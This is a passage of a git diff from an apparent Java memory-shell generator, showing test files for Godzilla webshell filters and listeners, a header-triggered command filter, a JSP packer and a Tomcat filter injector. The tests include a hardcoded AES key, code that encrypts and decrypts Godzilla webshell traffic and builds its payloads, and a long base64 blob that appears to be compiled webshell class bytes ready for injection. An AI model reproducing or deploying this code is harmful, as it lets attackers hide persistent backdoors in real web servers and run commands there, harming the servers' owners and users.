BWYAAAACBWc="); + byte[] x = x(bytes, true); + System.out.println(Base64.encodeBase64String(x)); + Files.write(Paths.get("Connection.class"), bytes); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec("3c6e0b8a9c15224a".getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var41) { + return null; + } + } + + @Test + void getResult() throws IOException { + String result = "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".substring(16); + result = result.substring(0, result.length() - 16); + byte[] bytes = Base64.decodeBase64(result); + byte[] x = x(bytes, false); + GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x)); + IOUtils.copy(gzipInputStream, System.out); + } + + @Test + void getPayload() throws IOException { + String result = URLDecoder.decode("iBFCSp6teq50bb9gXWFdEM36h%2FTnIqtHIg813YXy3GwxPP6S9ve6SZgDY0TJnOoZjxZCkkFO1HNx2VaBe9JHo9noP74PGzx0mxOH9oFDgXzIIGwvPLsKcLQVVRptBojgZWB90sIU0EHPzppD87GxSGS9Jl3jG1%2B6Ak3AfJ3jjL0FqU1RvKL0XZ0A3Teub%2FMZHXfZyFjMveM1vzwJEJ2X3h5Tr9tXEAzyT9eKInXwoxXJlb%2B31oFxN8ohKS4i5dfu", "UTF-8"); + byte[] bytes = Base64.decodeBase64(result); + byte[] x = x(bytes, false); + ByteArrayInputStream tStream = new ByteArrayInputStream(x); + ByteArrayOutputStream tp = new ByteArrayOutputStream(); + byte[] lenB = new byte[4]; + int read; + try { + GZIPInputStream inputStream = new GZIPInputStream(tStream); + while (true) { + byte t = (byte) inputStream.read(); + if (t != -1) { + if (t == 2) { + String key = tp.toString(); + inputStream.read(lenB); + int len = bytesToInt(lenB); + byte[] data = new byte[len]; + int readOneLen = 0; + do { + read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen); + readOneLen = read; + } while (read < data.length); + System.out.println(key); + System.out.println(new String(data)); + tp.reset(); + } else { + tp.write(t); + } + } else { + tp.close(); + tStream.close(); + inputStream.close(); + return; + } + } + } catch (Exception ignored) { + } + } + + public static int bytesToInt(byte[] bytes) { + return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24); + } + + @Test + @SneakyThrows + void generatePayload() { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream(baos);) { + byte[] value = "close".getBytes(); + gzipOutputStream.write("methodName".getBytes()); + gzipOutputStream.write(2); + gzipOutputStream.write(intToBytes(value.length)); + gzipOutputStream.write(value); + } + byte[] x = x(baos.toByteArray(), true); + System.out.println(URLEncoder.encode(Base64.encodeBase64String(x), "UTF-8")); + } + + public static byte[] intToBytes(int value) { + return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)}; + } + +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java index c8544b72..de9886de 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/GodzillaGeneratorTest.java @@ -18,8 +18,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals; * @since 2024/11/23 */ class GodzillaGeneratorTest { - - GodzillaGenerator godzillaGenerator = new GodzillaGenerator(); String pass = "pass"; String key = "key"; String headerName = "User-Agent"; @@ -29,7 +27,7 @@ class GodzillaGeneratorTest { @Disabled("just for generate") void testGenerate() throws IOException { String className = "org.apache.utils.CommonFilter"; - byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue); + byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue); IOUtils.write(bytes, Files.newOutputStream(Paths.get("CommonFilter.class"))); } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/packer/JspPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/packer/JspPackerTest.java new file mode 100644 index 00000000..18c143e7 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/packer/JspPackerTest.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * @author ReaJason + * @since 2024/11/26 + */ +class JspPackerTest { + + @Test + void pack() { + GenerateResult generateResult = GenerateResult.builder() + .injectorClassName("hehe") + .injectorBytesBase64Str("hehe").build(); + String jspContent = new String(new JspPacker().pack(generateResult)); + assertTrue(jspContent.contains("String className = \"hehe\";")); + assertTrue(jspContent.contains("String base64Str = \"hehe\";")); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java new file mode 100644 index 00000000..b6a7d275 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/command/CommandFilterTest.java @@ -0,0 +1,26 @@ +package com.reajason.javaweb.memsell.tomcat.command; + +import com.reajason.javaweb.memsell.CommandGenerator; +import com.reajason.javaweb.util.ClassUtils; +import org.apache.commons.codec.binary.Base64; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +class CommandFilterTest { + + @Test + void testGenerate() { + String className = "org.command.CommandFilter"; + String headerName = "cmd"; + byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, headerName); + Object obj = ClassUtils.newInstance(bytes); + assertEquals(className, obj.getClass().getName()); + assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName")); + System.out.println(Base64.encodeBase64String(bytes)); + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java index 36d91f0c..6af98ea4 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaFilterTest.java @@ -18,8 +18,6 @@ import static org.junit.jupiter.api.Assertions.*; * @since 2024/11/24 */ class GodzillaFilterTest { - - GodzillaGenerator godzillaGenerator = new GodzillaGenerator(); String pass = "pass"; String key = "key"; String headerName = "User-Agent"; @@ -28,7 +26,7 @@ class GodzillaFilterTest { @Test void generate() { String className = "org.apache.utils.CommonFilter"; - byte[] bytes = godzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue); + byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue); Object obj = ClassUtils.newInstance(bytes); assertEquals(className, obj.getClass().getName()); assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilterTest.java index 215a0c1c..e11a2d1f 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaFilterTest.java @@ -12,8 +12,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals; * @since 2024/11/24 */ class GodzillaJakartaFilterTest { - - GodzillaGenerator godzillaGenerator = new GodzillaGenerator(); String pass = "pass"; String key = "key"; String headerName = "User-Agent"; @@ -22,7 +20,7 @@ class GodzillaJakartaFilterTest { @Test void generate() { String className = "org.apache.utils.CommonJakartaFilter"; - byte[] bytes = godzillaGenerator.generate(GodzillaJakartaFilter.class, className, pass, key, headerName, headerValue); + byte[] bytes = GodzillaGenerator.generate(GodzillaJakartaFilter.class, className, pass, key, headerName, headerValue); Object obj = ClassUtils.newInstance(bytes); assertEquals(className, obj.getClass().getName()); assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListenerTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListenerTest.java index 9b3675af..96c2e974 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListenerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaJakartaListenerTest.java @@ -12,8 +12,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals; * @since 2024/11/24 */ class GodzillaJakartaListenerTest { - - GodzillaGenerator godzillaGenerator = new GodzillaGenerator(); String pass = "pass"; String key = "key"; String headerName = "User-Agent"; @@ -22,7 +20,7 @@ class GodzillaJakartaListenerTest { @Test void generate() { String className = "org.apache.utils.CommonJakartaListener"; - byte[] bytes = godzillaGenerator.generate(GodzillaJakartaListener.class, className, pass, key, headerName, headerValue); + byte[] bytes = GodzillaGenerator.generate(GodzillaJakartaListener.class, className, pass, key, headerName, headerValue); Object obj = ClassUtils.newInstance(bytes); assertEquals(className, obj.getClass().getName()); assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java index b880b1e2..0b2d83dd 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaListenerTest.java @@ -12,8 +12,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals; * @since 2024/11/24 */ class GodzillaListenerTest { - - GodzillaGenerator godzillaGenerator = new GodzillaGenerator(); String pass = "pass"; String key = "key"; String headerName = "User-Agent"; @@ -22,7 +20,7 @@ class GodzillaListenerTest { @Test void generate() { String className = "org.apache.utils.CommonListener"; - byte[] bytes = godzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue); + byte[] bytes = GodzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue); Object obj = ClassUtils.newInstance(bytes); assertEquals(className, obj.getClass().getName()); assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java index 291ac89e..bc99a284 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/godzilla/GodzillaValveTest.java @@ -12,7 +12,6 @@ import static org.junit.jupiter.api.Assertions.*; * @since 2024/11/24 */ class GodzillaValveTest { - GodzillaGenerator godzillaGenerator = new GodzillaGenerator(); String pass = "pass"; String key = "key"; String headerName = "User-Agent"; @@ -21,7 +20,7 @@ class GodzillaValveTest { @Test void generate() { String className = "org.apache.utils.CommonValve"; - byte[] bytes = godzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue); + byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue); Object obj = ClassUtils.newInstance(bytes); assertEquals(className, obj.getClass().getName()); assertEquals(pass, ClassUtils.getFieldValue(obj, "pass")); diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjectorTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjectorTest.java index cdee3e28..47c6cb94 100644 --- a/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjectorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjectorTest.java @@ -15,15 +15,13 @@ import static org.junit.jupiter.api.Assertions.assertEquals; */ class TomcatFilterInjectorTest { - InjectorGenerator injectorGenerator = new InjectorGenerator(); - @Test @SneakyThrows void generate() { byte[] shellBytes = Base64.decodeBase64("yv66vgAAADQBNgoARQCgCgBFAKEKAEUAoggAowoApAClBwCmCQAaAKcKAD4AqAoABgCpCgCkAKoKAKQAqwcArAcArQcArgkAGgCvCwANALAJABoAsQoAPgCyCwANALMJABoAtAsADQC1CgAaALYKABoAtwgAuAsAuQC6BwC7CgA9ALwKACQAvQoAGgChCgAaAL4LALkAvwgAwAsADQC/BwDBCgAiAKAHAMIKACQAwwcAxAcAxQcAxgoAKADHCgA9AMgLAA4AyQkAGgDKCgA+AMsKAMwAzQoAPQDOCgAiAM8KABoA0AoAPgDRCwDSANMIANQKACQA1QgA1gcA1woAJADYBwDZCgDaANsIANwHAFoHAN0HAN4IAN8IAOAIAOEIAOIIAOMIAOQHAOUHAOYBAANrZXkBABJMamF2YS9sYW5nL1N0cmluZzsBAARwYXNzAQADbWQ1AQAKaGVhZGVyTmFtZQEAC2hlYWRlclZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAD1MY29tL3JlYWphc29uL2phdmF3ZWIvbWVtc2VsbC90b21jYXQvZ29kemlsbGEvR29kemlsbGFGaWx0ZXI7AQAaKExqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBAAF6AQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAFRAQAVKFtCKUxqYXZhL2xhbmcvQ2xhc3M7AQACY2IBAAJbQgEACVNpZ25hdHVyZQEAGChbQilMamF2YS9sYW5nL0NsYXNzPCo+OwEAAXgBAAcoW0JaKVtCAQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABHZhcjQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAFzAQABbQEAAVoBAA1TdGFja01hcFRhYmxlBwC7BwDnBwCsAQAIZG9GaWx0ZXIBAFsoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOylWAQABZgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAWUBAChMamF2YS9sYW5nL1JlZmxlY3RpdmVPcGVyYXRpb25FeGNlcHRpb247AQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB3Nlc3Npb24BACBMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEABGRhdGEBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAVjaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsHAOgHAOkHAOoHAK0HAK4HAOsHAMEHAOwHAN0BAApFeGNlcHRpb25zBwDtBwDuAQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAHZGVzdHJveQEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdlbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAR2YXI2AQACYnMBAAV2YWx1ZQEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo+OwcA3gEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQAKU291cmNlRmlsZQEAE0dvZHppbGxhRmlsdGVyLmphdmEMAE0ATgwATQBUDADvAPABAANBRVMHAOcMAPEA8gEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMMAEcASAwA8wD0DABNAPUMAIsA9gwA9wD4AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwASwBIDAD5APoMAEwASAwA+wD8DAD9AP4MAEkASAwA/wD6DACbAJwMAF0AXgEAB3BheWxvYWQHAOsMAQABAQEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2dvZHppbGxhL0dvZHppbGxhRmlsdGVyDAECAQMMAQQBBQwAVwBYDAEGAQcBAApwYXJhbWV0ZXJzAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BAA9qYXZhL2xhbmcvQ2xhc3MMAQgBCQEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwATQEKDAELAQwMAQ0BDgwASgBIDAEPARAHAREMARIBEwwBFAEVDAEWAPQMAJAAkQwBDwEXBwDqDABqARgBABBqYXZhLnV0aWwuQmFzZTY0DAEZARoBAApnZXRFbmNvZGVyAQASW0xqYXZhL2xhbmcvQ2xhc3M7DAEbARwBABNbTGphdmEvbGFuZy9PYmplY3Q7BwEdDAEeAR8BAA5lbmNvZGVUb1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQAWc3VuLm1pc2MuQkFTRTY0RW5jb2RlcgEABmVuY29kZQEACmdldERlY29kZXIBAAZkZWNvZGUBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyAQAMZGVjb2RlQnVmZmVyAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEAJmphdmEvbGFuZy9SZWZsZWN0aXZlT3BlcmF0aW9uRXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAxnZXRQYXJhbWV0ZXIBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9CeXRlQXJyYXkBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAdb3JnL2FwYWNoZS91dGlscy9Db21tb25GaWx0ZXIHASAIAEkJASEAtAEAEDNjNmUwYjhhOWMxNTIyNGEIASQJASEApwEAIDExQ0Q2QTg3NTg5ODQxNjM2QzM3QUM4MjZBMkEwNEJDCAEnCQEhAMoBAApVc2VyLUFnZW50CAEqCQEhAK8BAAR0ZXN0CAEtCQEhALEBAB9Mb3JnL2FwYWNoZS91dGlscy9Db21tb25GaWx0ZXI7CgEhALYKASEAtwoBIQChCgEhAL4KASEA0AAhASEARQABAEYABQABAEcASAAAAAEASQBIAAAAAQBKAEgAAAABAEsASAAAAAEATABIAAAACQABAE0ATgABAE8AAAA0AAIAAQAAACgqtwABKhMBIrUBIyoTASW1ASYqEwEotQEpKhMBK7UBLCoTAS61AS+xAAAAAAABAE0AVAABAE8AAAA1AAIAAgAAACkqK7cAAioTASK1ASMqEwEltQEmKhMBKLUBKSoTASu1ASwqEwEutQEvsQAAAAAAAQBXAFgAAgBPAAAAPQAEAAIAAAAJKisDK763AAOwAAAAAgBQAAAABgABAAAAGwBRAAAAFgACAAAACQBSATAAAAAAAAkAWQBaAAEAWwAAAAIAXAABAF0AXgABAE8AAADYAAYABAAAACwSBLgABU4tHJkABwSnAAQFuwAGWSq0ASa2AAgSBLcACbYACi0rtgALsE4BsAABAAAAKAApAGkAAwBmAAAAPAAD/wAPAAQHASEHADwBBw